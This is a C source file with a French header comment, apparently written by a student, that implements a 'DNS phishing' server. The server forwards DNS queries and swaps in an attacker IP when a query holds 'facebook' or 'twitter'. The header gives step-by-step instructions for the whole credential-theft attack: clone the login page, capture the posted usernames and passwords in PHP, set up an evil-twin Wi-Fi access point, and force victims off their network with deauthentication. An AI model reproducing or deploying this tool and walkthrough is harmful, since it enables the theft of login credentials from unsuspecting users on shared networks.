/*********************************************** Seveur DNS de phishing ***\*************************************************** -------------------- | | *** @jules.mainsard@esial.net *** | | | | Connaissances Requises | --> C (+) * --> HTML (-) --> PHP (-) --> Reseau (+) | | Le DNS phishing, ou du moins celui dont il est question ici, | est une technique qui permet de rediriger les utilisateurs | a notre gre en fonction des noms de domaines qu'ils essaient * de consulter. Cet operation de resolution des noms de domaine est realise par un serveur DNS. Le code ci dessous est un simple redirecteur de requete DNS avec affichage du contenu sur la sortie standard. Ce code est toutefois capable de rechercher des chaines de caractere dans les requetes (twitter et facebook ici). Quand la recherche est fructueuse, le code va modifier la reponse du veritable serveur DNS (apres redirection) et y inserer une IP de notre choix a la place de l'IP initialement resolu. Puisque les utilisateurs seront des lors rediriger sur cette IP Un serveur HTTP doit tourner sur celle ci, dans le cas de facebook par exemple, ce serveur doit heberger un site identique (en apparence) a celui de facebook. Pour cela il suffit de visiter le site cible et d'enregistrer son code source. Il faut ensuite y modifier le formulaire de login pour rediriger sa submission vers un script PHP de notre choix dans lequel nous enregistrons les variables $_POST['user'] et $_POST['pass']. PS: Il est possible de faire tourner serveur DNS et serveur HTTP sur la meme machine. Une des conditions préalable à cette attaque est que l'utilisateur cible utilise votre serveur DNS. Pour cela il vous suffit par exemple de creer un reseau Wifi du meme nom que celui qu'utilise la cible (airebase-ng de la suite aircrack-ng le fait très bien), et de le configurer correctement. En effet il va falloir que les utilisateurs aient acces a internet correctement sur ce reseau pour gober la supercherie ;) Il vous faut donc une deuxieme carte reseau connecte a internet afin de pouvoir rediriger le traffic recu par votre faux point d'acces Wifi sur le net .Configuration de routage donc, probablement aussi dhcp puisque l'attaque vise surtout un public peu instruit. Il ne vous reste plus qu'a deconnecte le client de son point d'acces (aireplay-ng et son option --deauth par ex) et il risque fortement de se reconnecter par erreur sur le votre. Il existe un module metasploit qui remplit a peu pres la meme fonction que ce programme, toutefois il va rechercher des noms de domaines complet et ne fonctionnera pas avec une partie seulement comme ici (strstr) Liens utiles pour realiser cette attaque [pour Backtrack 5] --> http://teh-geek.com/?p=512 [ Realisation du faux point d'acces Wifi ] --> http://www.exploit-db.com/wp-content/themes/exploit/docs/20875.pdf [ Tuto similaire en anglais ] --> http://www.aircrack-ng.org/doku.php?id=deauthentication [ Deauthentification client cible ] Pour ceux qui ont vraiment du mal ... --> http://www.siteduzero.com/tutoriel-3-13596-les-formulaires.html [ Formulaires HTML ] --> http://www.siteduzero.com/tutoriel-3-14543-transmettre-des-donnees-avec-les-formulaires.html [ Script PHP ] --> http://www.commentcamarche.net/contents/internet/dns.php3 [ Protocole DNS ] -------------------- Compilation gcc -o getdnsrequest getdnsrequest.c **********************************//******************************************************************************************* | | | | | | /****************************************************Addendum*****************************************************************/ /***Pour une raison que j'ignore le serveur a l'air de planter quand il recoit trop de requete j'avais test le multithread pour résoudre ce problème mais rien n'y fait, petite astuce de bourrin: *** Lancer dans un terminal *** for((i=0; i<200; i++)); do ./getdnsrequest; done *** En modifiant le nombre d'occurences a votre gre bien entendu *** Lancer dans un second terminal (vous devrez peut etre modifier cette commande en fonction de votre config) *** for((i=0; i<200; i++)); do kill `ps -ef | grep getdnsrequest | head --lines=1 | cut -b10-15`; sleep 20s; done *** Le fait de kill le serveur et de le relancer ensuite empeche les gros lag (reduit a 20sec max) Ne fonctionne pas quand l'interruption est faites proprement, de l'interieur du programme***/ /***Si vous avez une solution plus elegante, je pensais peut etre un flag de backlog dans bind ou socket, Merci de me mail***/ /******************************************************************************************************************************/ #include #include #include #include #include #include #include #include #define error(msg) \ perror(msg); \ exit(EXIT_FAILURE) //Type d'enregistrement DNS #define A 0x1 #define CNAME 0x5 #define PTR 0xc #define MX 0xf #define NS 0x2 #define SOA 0x6 #define HINFO 0xd #define AAAA 0x1c //Prototypes void mainbis(void); char *get_ipp(char *bytes); void print_domain(char *bits); char *get_type(char *bytes); char *fakeorbypass(char **tab, int lent, char *search); void affbytes(char *bof, int leni, int mode); void affchars(char *bof, int leni); //Declarations int mastersocket; struct sockaddr_in addr; struct hostent *fromhost, *tohost; char *tabphish[20]={"facebook", "twitter"}; //chaines qui declenchent le phishing et resolvent ces sites sur votre ip //vous devez evidemment avoir un serveur HTTP/HTTPS qui fait tourner les differents sites de phishing int lentabphish=2; //ne pas oublier de modifier ce parametre en consequence int decdomain=13; int main(int argc, char **argv) { int k, l; pthread_t idt[5]; //Appel a socket //Configuration du premier socket [ Communication client <=> programme ] if( (mastersocket=socket(PF_INET, SOCK_DGRAM, 0)) < 0 ) { error("socket"); } //Configuration de sockaddr pour l'appel a bind addr.sin_family=AF_INET; addr.sin_addr.s_addr=htonl(INADDR_ANY); addr.sin_port=htons(53); //Appel a bind if( (bind(mastersocket, (struct sockaddr *)&addr, sizeof(addr))) < 0 ) { error("bind"); } mainbis(); return 0; } void mainbis() { int socketh= mastersocket; int secondsocket; int found=0, phish=1, len, cc, lendns; char *buf, *curfish, *ptr; char chainexec[50]; struct sockaddr_in *from, *to; int lenbuf=5000; struct sockaddr_in addrbis; //Configuration du second socket [ communication programme <=> real dns serveur ] if( (secondsocket=socket(PF_INET, SOCK_DGRAM, 0)) < 0 ) { error("socket"); } //Configuration de sockaddr pour l'appel a bind addrbis.sin_family=AF_INET; addrbis.sin_addr.s_addr=htonl(INADDR_ANY); addrbis.sin_port=htons(7000); //Appel a bind if( (bind(secondsocket, (struct sockaddr *)&addrbis, sizeof(addrbis))) < 0 ) { error("bind"); } //Assignation, malloc buf=(char *)malloc(lenbuf); curfish=(char *)malloc(100); len=sizeof(struct sockaddr_in); lendns=sizeof(struct sockaddr_in); to=(struct sockaddr_in *)malloc(len); from=(struct sockaddr_in *)malloc(len); //real dns serveur long serveurdns=0x0101a8c0; //Structure sockaddr du real DNS serveur vers lequel on redirige les requete to->sin_family=AF_INET; to->sin_addr.s_addr=serveurdns; to->sin_port=htons(53); //Let's go while(1) { //boolean phishing found=0; //site de phishing selectionne curfish=NULL; //Reception des requetes <=> premier socket if((cc=recvfrom(socketh, buf, lenbuf, 0, (struct sockaddr *)from, &len))<0) { error("recv"); } buf[cc]='\0'; //Sortie utilisateur ptr=buf+13; printf("\n\n\033[1;36m-- New Request \033[1;32m[ %s ]\033[0m From \033[1;31m%s\033[0m" "\033[1;36m on \033[0m\033[1;31m%d\033[0m\033[1;36m ... Domain =\033[0m\033[1;31m", get_type(buf+cc-4), inet_ntoa(from->sin_addr.s_addr), from->sin_port); print_domain(ptr); printf("\033[0m\033[1;36m \n-- ***********************\033[0m\n"); printf("\n \033[1;33m -HEX\n ****\033[0m\n"); affbytes(buf, cc, 1); printf("\n \033[1;33m -ASCII\n ******\033[0m\n"); affchars(buf, cc); fflush(stdout); //Recherche un domain de site de phishing dans la requete curfish=fakeorbypass(tabphish, lentabphish, buf); if( curfish!=NULL ) { //Phishing is on found=1; printf("\033[1;33m\n PHISHING -- %s found--\033[0m\n", curfish); fflush(stdout); } //Redirection des donnes vers le veritable serveur DNS <=> second socket if(sendto(secondsocket, buf, cc, 0, (struct sockaddr *)to, sizeof(*to))<0) { error("send"); } //Reception de la reponse du veritable serveur DNS <=> second socket if((cc=recvfrom(secondsocket, buf, lenbuf, 0, (struct sockaddr *)to, &lendns))<0) { error("recv2"); } buf[cc]='\0'; //Sortie utilisateurs printf("\n\n\033[1;36m-- New Response => IP \033[1;32m%s\033[0m \033[1;36mon Port \033[0m" "\033[1;31m%d\033[0m\033[1;36m\n-- *******************************\033[0m\n" , get_ipp(buf+cc-4), to->sin_port); printf("\n \033[1;33m -HEX\n ****\033[0m\n"); affbytes(buf, cc, 0); printf("\n \033[1;33m -ASCII\n ******\033[0m\n"); affchars(buf, cc); fflush(stdout); //Modification de la reponse si le phishing is on if(found) { //On remplace l'IP renvoye par le serveur DNS (la "bonne" IP) //Par l'IP de notre machine hebergent le(s) site de phishing //Ici 127.0.0.1 en hexa pour mes tests en local buf[cc-1]=0x1; buf[cc-2]=0x0; buf[cc-3]=0x0; buf[cc-4]=0x7f; //Sortie utilisateur printf("\n\n\033[1;36m-- New PHISHING Response!\n-- ***********************\033[0m\n"); fflush(stdout); printf("\n \033[1;33m -HEX\n ****\033[0m\n"); affbytes(buf, cc, 0); printf("\n \033[1;33m -ASCII\n ******\033[0m\n"); affchars(buf, cc); } printf("\n\n"); if(sendto(socketh, buf, cc, 0, (struct sockaddr *)from, len)<0) { error("send"); } } } //Extrait l'IP (resolu par le serveur DNS) du packet de donnes renvoye par le veritable serveur DNS char *get_ipp(char *bytes) { char *ip; ip=(char *)malloc(15*sizeof(char)); sprintf(ip, "%d.%d.%d.%d", (unsigned char)bytes[0], (unsigned char)bytes[1], (unsigned char)bytes[2], (unsigned char)bytes[3]); return ip; } //Ecrit le domaine stocke dans le paquet de donnes sur la sortie standard void print_domain(char *bits) { int l; for(l=0; bits[l]!='\0'; l++) { if(bits[l]>31 && bits[l]<127) { printf("%c", bits[l]); } else { printf("."); } } } //Determine le type d'enregistrement DNS dont il est question char *get_type(char *bytes) { int type=(char)(*(bytes+1)); switch(type) { case A : return "A"; case MX : return "MX"; case PTR : return "PTR"; case NS : return "NS"; case HINFO : return "HINFO"; case CNAME : return "CNAME"; case SOA : return "SOA"; case AAAA: return "AAAA"; default: return "UNKNOWN"; } } //Recherche tab[i], i=0->lent, dans search //Retourne tab[i] s'il est trouve sinon un NULL pointer char *fakeorbypass(char *tab[], int lent, char *search) { int i; char *ret=NULL; for(i=0; i31 && bof[n]<127) { printf("%c", bof[n]); } else { printf("."); } } }